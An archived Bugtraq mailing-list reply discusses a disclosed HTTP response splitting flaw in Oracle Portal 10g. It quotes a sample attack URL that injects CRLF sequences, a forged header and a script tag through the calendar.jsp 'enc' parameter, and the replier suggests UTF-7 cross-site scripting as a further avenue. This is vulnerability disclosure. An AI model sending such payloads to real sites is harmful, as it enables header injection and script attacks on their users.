Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting
From: "Brian Eaton" <eaton.lists () gmail com>
Date: Wed, 20 Dec 2006 13:55:09 -0500

On 12/20/06, putosoft softputo <hasecorp () hotmail com> wrote:
Oracle Portal/Applications HTTP Response Splitting
--------------------------------------------------

Sample:

http://<target>/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-length=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3E

So they let the URL specify the content-encoding?  They might be
vulnerable to XSS via UTF-7 as well.

Regards,
Brian


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]